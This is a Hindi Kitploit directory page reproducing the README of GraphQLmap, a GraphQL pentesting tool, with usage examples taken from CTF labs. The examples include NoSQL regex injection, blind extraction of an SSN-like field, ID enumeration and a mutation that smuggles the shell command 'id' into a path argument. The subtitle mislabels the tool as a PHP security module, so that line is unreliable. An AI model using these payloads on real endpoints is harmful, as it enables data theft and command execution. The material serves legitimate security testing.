Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
GraphQLmap — php7 और php8 के लिए सुरक्षा मॉड्यूल - बगक्लासेस को खत्म करना और बाकी को वर्चुअल-पैच करना! | Kitploit
उपकरण/GitHubGitHub/swisskyrepo/graphqlmap
भेद्यता स्कैनरएपीआई सुरक्षा परीक्षणवेब सुरक्षाफज़िंगCTFपेनिट्रेशन टेस्टिंग
GitHubswisskyrepo/graphqlmap

GraphQLmap

php7 और php8 के लिए सुरक्षा मॉड्यूल - बगक्लासेस को खत्म करना और बाकी को वर्चुअल-पैच करना!

रिपॉजिटरी देखें
1.7k2283 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

GraphQLmap

GraphQLmap एक स्क्रिप्टिंग इंजन है जो पेंटेस्टिंग उद्देश्यों के लिए ग्राफक्यूएल एंडपॉइंट के साथ इंटरैक्ट करने के लिए है।

  • स्थापित करें
  • सुविधाएँ और उदाहरण
    • ग्राफक्यूएल स्कीमा डंप करें
    • ग्राफक्यूएल एंडपॉइंट से इंटरैक्ट करें
    • ग्राफक्यूएल क्वेरी निष्पादित करें
    • ऑटोकम्प्लीट क्वेरी
    • ग्राफक्यूएल फ़ील्ड फ़ज़िंग
      • उदाहरण 1 - एक कैरेक्टर को ब्रूटफोर्स करें
      • उदाहरण 2 - एक संख्या पर पुनरावृत्ति करें
    • ग्राफक्यूएल फ़ील्ड में NoSQL इंजेक्शन
    • ग्राफक्यूएल फ़ील्ड में SQL इंजेक्शन

मुझे ❤️ पुल रिक्वेस्ट पसंद हैं, बेझिझक इस स्क्रिप्ट को सुधारें :)

आप 🍻 आईआरएल या गिटहब स्पॉन्सरिंग बटन का उपयोग करके भी योगदान कर सकते हैं।

स्थापित करें

root@kitploit:~
$ git clone https://github.com/swisskyrepo/GraphQLmap
$ python setup.py install
$ graphqlmap                                                              
   _____                 _      ____  _                            
  / ____|               | |    / __ \| |                           
 | |  __ _ __ __ _ _ __ | |__ | |  | | |     _ __ ___   __ _ _ __  
 | | |_ | '__/ _` | '_ \| '_ \| |  | | |    | '_ ` _ \ / _` | '_ \ 
 | |__| | | | (_| | |_) | | | | |__| | |____| | | | | | (_| | |_) |
  \_____|_|  \__,_| .__/|_| |_|\___\_\______|_| |_| |_|\__,_| .__/ 
                  | |                                       | |    
                  |_|                                       |_|    
                                         Author:Swissky Version:1.0
usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]] [--method [METHOD]] [--headers [HEADERS]] [--json [USE_JSON]] [--proxy [PROXY]]

optional arguments:
  -h, --help           show this help message and exit
  -u URL               URL to query : example.com/graphql?query={}
  -v [VERBOSITY]       Enable verbosity
  --method [METHOD]    HTTP Method to use interact with /graphql endpoint
  --headers [HEADERS]  HTTP Headers sent to /graphql endpoint
  --json [USE_JSON]    Use JSON encoding, implies POST
  --proxy [PROXY]      HTTP proxy to log requests

विकास सेटअप

root@kitploit:~
python -m venv .venv
source .venv/bin/activate
pip install --editable .
pip install -r requirements.txt
./bin/graphqlmap -u http://127.0.0.1:5013/graphql

सुविधाएँ और उदाहरण

⚠️ उदाहरण HIP2019 के कई CTF चैलेंजेस पर आधारित हैं।

ग्राफक्यूएल एंडपॉइंट से कनेक्ट करें

root@kitploit:~
# Connect using POST and providing an authentication token
graphqlmap -u https://yourhostname.com/graphql -v --method POST --headers '{"Authorization" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXh0Ijoibm8gc2VjcmV0cyBoZXJlID1QIn0.JqqdOesC-R4LtOS9H0y7bIq-M8AGYjK92x4K3hcBA6o"}'

# Pass request through Burp Proxy
graphqlmap -u "http://172.17.0.1:5013/graphql" --proxy http://127.0.0.1:8080

ग्राफक्यूएल स्कीमा डंप करें

ग्राफक्यूएल स्कीमा डंप करने के लिए dump_new का उपयोग करें, यह फ़ंक्शन स्वचालित रूप से मिले फ़ील्ड्स के साथ "ऑटोकम्प्लीट" को पॉप्युलेट करेगा।
🎥 लाइव उदाहरण

root@kitploit:~
GraphQLmap > dump_new                     
============= [SCHEMA] ===============
e.g: name[Type]: arg (Type!)                   
                                                                                               
Query                                          
        doctor[]: email (String!),                                                             
        doctors[Doctor]:                                                                       
        patients[Patient]:                                                                     
        patient[]: id (ID!),                   
        allrendezvous[Rendezvous]:                                                             
        rendezvous[]: id (ID!),                                                                
Doctor                                         
        id[ID]:                                                                                
        firstName[String]:                     
        lastName[String]:                                                                      
        specialty[String]:                     
        patients[None]: 
        rendezvous[None]: 
        email[String]: 
        password[String]: 
[...]

ग्राफक्यूएल एंडपॉइंट से इंटरैक्ट करें

एक ग्राफक्यूएल अनुरोध लिखें और इसे निष्पादित करें।

root@kitploit:~
GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}
{
    "data": {
        "doctors": [
            {
                "firstName": "Admin",
                "id": "5d089c51dcab2d0032fdd08d",
                "lastName": "Admin"
            }
        ]
    }
}

यह mutations के साथ भी काम करता है, उन्हें एक पंक्ति में लिखा जाना चाहिए।

root@kitploit:~
# ./bin/graphqlmap -u http://127.0.0.1:5013/graphql --proxy http://127.0.0.1:8080 --method POST
GraphQLmap > mutation { importPaste(host:"localhost", port:80, path:"/ ; id", scheme:"http"){ result }}
{
    "data": {
        "importPaste": {
            "result": "uid=1000(dvga) gid=1000(dvga) groups=1000(dvga)\n"
        {
    {
{

ग्राफक्यूएल फ़ील्ड फ़ज़िंग

पैरामीटर को फ़ज़ करने के लिए GRAPHQL_INCREMENT और GRAPHQL_CHARSET का उपयोग करें।
🎥 लाइव उदाहरण

उदाहरण 1 - एक कैरेक्टर को ब्रूटफोर्स करें

root@kitploit:~
GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"AdmiGRAPHQL_CHARSET\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi!\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi$\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi%\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi(\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi)\"} }"){firstName lastName id}}   
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi*\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi+\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi,\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi-\"} }"){firstName lastName id}}   
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi.\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi/\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi0\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi1\"} }"){firstName lastName id}}     
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi?\"} }"){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}

उदाहरण 2 - एक संख्या पर पुनरावृत्ति करें

GRAPHQL_INCREMENT_ के बाद एक संख्या का उपयोग करें।

root@kitploit:~
GraphQLmap > { paste(pId: "GRAPHQL_INCREMENT_10") {id,title,content,public,userAgent} }
[+] Query: (45) { paste(pId: "0") {id,title,content,public,userAgent} }
[+] Query: (245) { paste(pId: "1") {id,title,content,public,userAgent} }
[+] Query: (371) { paste(pId: "2") {id,title,content,public,userAgent} }
[+] Query: (309) { paste(pId: "3") {id,title,content,public,userAgent} }
[+] Query: (311) { paste(pId: "4") {id,title,content,public,userAgent} }
[+] Query: (308) { paste(pId: "5") {id,title,content,public,userAgent} }
[+] Query: (375) { paste(pId: "6") {id,title,content,public,userAgent} }
[+] Query: (315) { paste(pId: "7") {id,title,content,public,userAgent} }
[+] Query: (336) { paste(pId: "8") {id,title,content,public,userAgent} }
[+] Query: (377) { paste(pId: "9") {id,title,content,public,userAgent} }

GraphQLmap > { paste(pId: "9") {id,title,content,public,userAgent} }
{ paste(pId: "9") {id,title,content,public,userAgent} }
{
    "data": {
        "paste": {
            "content": "I was excited to spend time with my wife without being interrupted by kids.",
            "id": "UGFzdGVPYmplY3Q6OQ==",
            "public": true,
            "title": "This is my first paste",
            "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0"
        }
    }
}

ग्राफक्यूएल बैचिंग

ग्राफक्यूएल रिक्वेस्ट बैचिंग का समर्थन करता है। बैच किए गए अनुरोध ग्राफक्यूएल द्वारा एक के बाद एक प्रोसेस किए जाते हैं। किसी एकल अनुरोध के अंदर इसे कई बार भेजने के लिए क्वेरी से पहले BATCHING_PLACEHOLDER का उपयोग करें।

root@kitploit:~
GraphQLmap > BATCHING_3 {__schema{ types{namea}}}
[+] Sending a batch of 3 queries
[+] Successfully received 3 outputs

GraphQLmap > BATCHING_2 {systemUpdate}
[+] Sending a batch of 2 queries
[+] Successfully received 2 outputs

NoSQLi इंजेक्शन

nosqli फ़ंक्शन के लिए क्वेरी के अंदर BLIND_PLACEHOLDER का उपयोग करें।
🎥 लाइव उदाहरण

root@kitploit:~
GraphQLmap > nosqli
Query > {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}}
Check > 5d089c51dcab2d0032fdd08d
Charset > 0123456789abcdef-
[+] Data found: 4f537c0a-7da6-4acc-81e1-8c33c02ef3b
GraphQLmap >

SQL इंजेक्शन

root@kitploit:~
GraphQLmap > postgresqli
GraphQLmap > mysqli
GraphQLmap > mssqli

अभ्यास

  • डैम वल्नरेबल ग्राफक्यूएल एप्लिकेशन - @dolevf : docker run -t -p 5013:5013 -e WEB_HOST=0.0.0.0 dolevf/dvga

कार्य सूची

  • ग्राफक्यूएल फ़ील्ड सुझाव
  • म्यूटेशन क्वेरी जनरेट करें
  • यूनिट टेस्ट
  • नोड को हैंडल करें
root@kitploit:~
{
  user {
    edges {
      node {
        username
      }
    }
  }
}
टूल डाउनलोड करें